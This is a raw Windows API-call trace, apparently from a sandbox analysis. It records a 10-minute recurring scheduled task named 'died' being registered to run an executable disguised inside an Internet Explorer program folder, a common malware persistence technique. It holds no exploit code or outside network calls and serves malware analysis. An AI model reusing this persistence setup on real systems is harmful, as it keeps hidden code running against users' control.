lstrlenW (lpString="|f|") returned 3 [0076.469] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0076.469] SetLastError (dwErrCode=0x490) [0076.469] lstrlenW (lpString="ri") returned 2 [0076.469] lstrlenW (lpString="ri") returned 2 [0076.469] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.469] lstrlenW (lpString="f") returned 1 [0076.469] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.469] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ri|") returned 4 [0076.469] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.469] lstrlenW (lpString="|ri|") returned 4 [0076.469] lstrlenW (lpString="|f|") returned 3 [0076.469] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0076.469] SetLastError (dwErrCode=0x490) [0076.469] lstrlenW (lpString="z") returned 1 [0076.470] lstrlenW (lpString="z") returned 1 [0076.470] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.470] lstrlenW (lpString="f") returned 1 [0076.470] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.470] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|z|") returned 3 [0076.470] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.470] lstrlenW (lpString="|z|") returned 3 [0076.470] lstrlenW (lpString="|f|") returned 3 [0076.470] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0076.470] SetLastError (dwErrCode=0x490) [0076.470] lstrlenW (lpString="f") returned 1 [0076.470] lstrlenW (lpString="f") returned 1 [0076.470] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.470] lstrlenW (lpString="f") returned 1 [0076.470] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.470] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.470] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|f|") returned 3 [0076.470] lstrlenW (lpString="|f|") returned 3 [0076.470] lstrlenW (lpString="|f|") returned 3 [0076.470] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0076.471] SetLastError (dwErrCode=0x0) [0076.471] SetLastError (dwErrCode=0x0) [0076.471] GetProcessHeap () returned 0x390000 [0076.471] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace70 [0076.471] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.471] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0076.471] lstrlenW (lpString="MINUTE") returned 6 [0076.471] GetProcessHeap () returned 0x390000 [0076.471] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad6c0 [0076.471] GetThreadLocale () returned 0x409 [0076.471] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0076.471] SetLastError (dwErrCode=0x0) [0076.471] GetProcessHeap () returned 0x390000 [0076.471] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x1fc) returned 0x3ac4b0 [0076.471] GetProcessHeap () returned 0x390000 [0076.471] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace40 [0076.471] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.471] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0076.471] lstrlenW (lpString="First") returned 5 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad6e0 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace10 [0076.472] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.472] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0076.472] lstrlenW (lpString="Second") returned 6 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad700 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acde0 [0076.472] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.472] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0076.472] lstrlenW (lpString="Third") returned 5 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad720 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acdb0 [0076.472] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.472] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0076.472] lstrlenW (lpString="Fourth") returned 6 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad740 [0076.472] GetProcessHeap () returned 0x390000 [0076.472] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd80 [0076.472] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.472] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0076.473] lstrlenW (lpString="Last") returned 4 [0076.473] GetProcessHeap () returned 0x390000 [0076.473] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xa) returned 0x3ad760 [0076.473] lstrlenW (lpString="10") returned 2 [0076.473] _wtol (_String="10") returned 10 [0076.473] GetProcessHeap () returned 0x390000 [0076.473] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acd50 [0076.473] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.473] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0076.473] lstrlenW (lpString="First") returned 5 [0076.473] GetProcessHeap () returned 0x390000 [0076.473] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xc) returned 0x3ad780 [0076.473] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.473] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0076.473] lstrlenW (lpString="Second") returned 6 [0076.473] GetProcessHeap () returned 0x390000 [0076.473] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad7a0 [0076.473] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.473] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0076.473] lstrlenW (lpString="Third") returned 5 [0076.473] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.473] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0076.474] lstrlenW (lpString="Fourth") returned 6 [0076.474] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.474] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0076.474] lstrlenW (lpString="Last") returned 4 [0076.474] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c580, cchData=128 | out: lpLCData="0") returned 2 [0076.474] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.474] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0076.474] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0076.474] GetProcessHeap () returned 0x390000 [0076.474] GetProcessHeap () returned 0x390000 [0076.474] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0) returned 1 [0076.474] GetProcessHeap () returned 0x390000 [0076.474] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6e0) returned 0xc [0076.474] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6e0 | out: hHeap=0x390000) returned 1 [0076.474] GetProcessHeap () returned 0x390000 [0076.474] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad6e0 [0076.474] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c5a0, cchData=128 | out: lpLCData="0") returned 2 [0076.474] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.475] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0076.475] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0076.475] GetProcessHeap () returned 0x390000 [0076.475] GetProcessHeap () returned 0x390000 [0076.475] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700) returned 1 [0076.475] GetProcessHeap () returned 0x390000 [0076.475] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad700) returned 0xe [0076.475] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700 | out: hHeap=0x390000) returned 1 [0076.475] GetProcessHeap () returned 0x390000 [0076.475] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x16) returned 0x3ad700 [0076.475] GetLocalTime (in: lpSystemTime=0x21c7d0 | out: lpSystemTime=0x21c7d0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x0, wMilliseconds=0x340)) [0076.475] lstrlenW (lpString="") returned 0 [0076.475] GetLocalTime (in: lpSystemTime=0x21d088 | out: lpSystemTime=0x21d088*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x0, wMilliseconds=0x340)) [0076.475] lstrlenW (lpString="") returned 0 [0076.475] lstrlenW (lpString="") returned 0 [0076.475] lstrlenW (lpString="") returned 0 [0076.476] lstrlenW (lpString="") returned 0 [0076.476] lstrlenW (lpString="10") returned 2 [0076.476] _wtol (_String="10") returned 10 [0076.476] lstrlenW (lpString="") returned 0 [0076.476] lstrlenW (lpString="") returned 0 [0076.476] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0076.536] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0076.584] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21ce50 | out: ppv=0x21ce50*=0x22dee0) returned 0x0 [0076.596] TaskScheduler:ITaskService:Connect (This=0x22dee0, serverName=0x21cf30*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0076.605] TaskScheduler:IUnknown:AddRef (This=0x22dee0) returned 0x2 [0076.605] TaskScheduler:ITaskService:GetFolder (in: This=0x22dee0, Path=0x0, ppFolder=0x21cfe8 | out: ppFolder=0x21cfe8*=0x357d60) returned 0x0 [0076.610] TaskScheduler:ITaskService:NewTask (in: This=0x22dee0, flags=0x0, ppDefinition=0x21cfe0 | out: ppDefinition=0x21cfe0*=0x357db0) returned 0x0 [0076.611] ITaskDefinition:get_Actions (in: This=0x357db0, ppActions=0x21cf60 | out: ppActions=0x21cf60*=0x357e70) returned 0x0 [0076.611] IActionCollection:Create (in: This=0x357e70, Type=0, ppAction=0x21cf80 | out: ppAction=0x21cf80*=0x356600) returned 0x0 [0076.612] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.612] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.612] lstrlenW (lpString=" ") returned 1 [0076.612] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0076.612] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0076.612] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0076.613] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0076.613] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0076.613] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0076.614] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0076.614] IUnknown:Release (This=0x356600) returned 0x1 [0076.614] IUnknown:Release (This=0x357e70) returned 0x1 [0076.614] ITaskDefinition:get_Triggers (in: This=0x357db0, ppTriggers=0x21cae0 | out: ppTriggers=0x21cae0*=0x356370) returned 0x0 [0076.614] ITriggerCollection:Create (in: This=0x356370, Type=1, ppTrigger=0x21cad8 | out: ppTrigger=0x21cad8*=0x356670) returned 0x0 [0076.614] lstrlenW (lpString="10") returned 2 [0076.615] _vsnwprintf (in: _Buffer=0x21ca60, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x21ca58 | out: _Buffer="PT10M") returned 5 [0076.615] ITrigger:get_Repetition (in: This=0x356670, ppRepeat=0x21cad0 | out: ppRepeat=0x21cad0*=0x356700) returned 0x0 [0076.615] IRepetitionPattern:put_Interval (This=0x356700, Interval="PT10M") returned 0x0 [0076.615] IUnknown:Release (This=0x356700) returned 0x1 [0076.615] _vsnwprintf (in: _Buffer=0x21ca20, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c9f8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0076.615] ITrigger:put_StartBoundary (This=0x356670, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0076.615] lstrlenW (lpString="") returned 0 [0076.615] lstrlenW (lpString="") returned 0 [0076.615] lstrlenW (lpString="") returned 0 [0076.615] lstrlenW (lpString="") returned 0 [0076.615] IUnknown:Release (This=0x356670) returned 0x1 [0076.615] IUnknown:Release (This=0x356370) returned 0x1 [0076.615] ITaskDefinition:get_Settings (in: This=0x357db0, ppSettings=0x21cf80 | out: ppSettings=0x21cf80*=0x3563e0) returned 0x0 [0076.616] lstrlenW (lpString="") returned 0 [0076.616] IUnknown:Release (This=0x3563e0) returned 0x1 [0076.616] GetLocalTime (in: lpSystemTime=0x21ce38 | out: lpSystemTime=0x21ce38*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x0, wMilliseconds=0x3cc)) [0076.616] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0076.616] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0076.616] GetUserNameW (in: lpBuffer=0x21ce60, pcbBuffer=0x21ce48 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21ce48) returned 1 [0076.617] ITaskDefinition:get_RegistrationInfo (in: This=0x357db0, ppRegistrationInfo=0x21ce30 | out: ppRegistrationInfo=0x21ce30*=0x357ef0) returned 0x0 [0076.617] IRegistrationInfo:put_Author (This=0x357ef0, Author="") returned 0x0 [0076.617] _vsnwprintf (in: _Buffer=0x21ce60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21cdf8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0076.617] IRegistrationInfo:put_Date (This=0x357ef0, Date="") returned 0x0 [0076.617] IUnknown:Release (This=0x357ef0) returned 0x1 [0076.617] malloc (_Size=0x18) returned 0x356760 [0076.618] free (_Block=0x356760) [0076.618] lstrlenW (lpString="") returned 0 [0076.618] malloc (_Size=0x18) returned 0x356760 [0076.618] ITaskFolder:RegisterTaskDefinition (in: This=0x357d60, Path="died", pDefinition=0x357db0, flags=6, UserId=0x21d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21efe0, varVal2=0xfe), LogonType=3, sddl=0x21d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21cff0 | out: ppTask=0x21cff0*=0x356900) returned 0x0 [0076.801] free (_Block=0x356760) [0076.802] _memicmp (_Buf1=0x3abbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.802] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3ad400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0076.802] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0076.802] GetProcessHeap () returned 0x390000 [0076.802] GetProcessHeap () returned 0x390000 [0076.802] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad720) returned 1 [0076.802] GetProcessHeap () returned 0x390000 [0076.802] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad720) returned 0xc [0076.802] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad720 | out: hHeap=0x390000) returned 1 [0076.802] GetProcessHeap () returned 0x390000 [0076.802] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x82) returned 0x3c9ce0 [0076.802] _vsnwprintf (in: _Buffer=0x21d730, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21cf98 | out: _Buffer="SUCCESS: The scheduled task \"died\" has successfully been created.\n") returned 66 [0076.802] _fileno (_File=0x7feffe22ab0) returned -2 [0076.802] _errno () returned 0x354bb0 [0076.802] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0076.803] SetLastError (dwErrCode=0x6) [0076.803] lstrlenW (lpString="SUCCESS: The scheduled task \"died\" has successfully been created.\n") returned 66 [0076.803] GetConsoleOutputCP () returned 0x0 [0076.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0076.803] GetConsoleOutputCP () returned 0x0 [0076.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0076.803] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0076.803] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0076.803] IUnknown:Release (This=0x356900) returned 0x0 [0076.803] TaskScheduler:IUnknown:Release (This=0x357db0) returned 0x0 [0076.804] TaskScheduler:IUnknown:Release (This=0x357d60) returned 0x0 [0076.804] TaskScheduler:IUnknown:Release (This=0x22dee0) returned 0x1 [0076.804] lstrlenW (lpString="") returned 0 [0076.804] lstrlenW (lpString="10") returned 2 [0076.804] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0076.804] GetProcessHeap () returned 0x390000 [0076.804] GetProcessHeap () returned 0x390000 [0076.804] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac4b0) returned 1 [0076.804] GetProcessHeap () returned 0x390000 [0076.804] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac4b0) returned 0x1fc [0076.805] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac4b0 | out: hHeap=0x390000) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac320) returned 0x6 [0076.805] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320 | out: hHeap=0x390000) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad680) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad680) returned 0x16 [0076.805] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad680 | out: hHeap=0x390000) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad660) returned 1 [0076.805] GetProcessHeap () returned 0x390000 [0076.805] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad660) returned 0x18 [0076.806] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad660 | out: hHeap=0x390000) returned 1 [0076.806] GetProcessHeap () returned 0x390000 [0076.806] GetProcessHeap () returned 0x390000 [0076.806] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3aced0) returned 1 [0076.806] GetProcessHeap () returned 0x390000 [0076.806] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3aced0) returned 0x20 [0076.807] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aced0 | out: hHeap=0x390000) returned 1 [0076.807] GetProcessHeap () returned 0x390000 [0076.807] GetProcessHeap () returned 0x390000 [0076.807] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac150) returned 1 [0076.807] GetProcessHeap () returned 0x390000 [0076.807] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac150) returned 0xa0 [0076.808] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac150 | out: hHeap=0x390000) returned 1 [0076.808] GetProcessHeap () returned 0x390000 [0076.808] GetProcessHeap () returned 0x390000 [0076.808] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbd0) returned 1 [0076.808] GetProcessHeap () returned 0x390000 [0076.808] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abbd0) returned 0x18 [0076.808] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbd0 | out: hHeap=0x390000) returned 1 [0076.808] GetProcessHeap () returned 0x390000 [0076.808] GetProcessHeap () returned 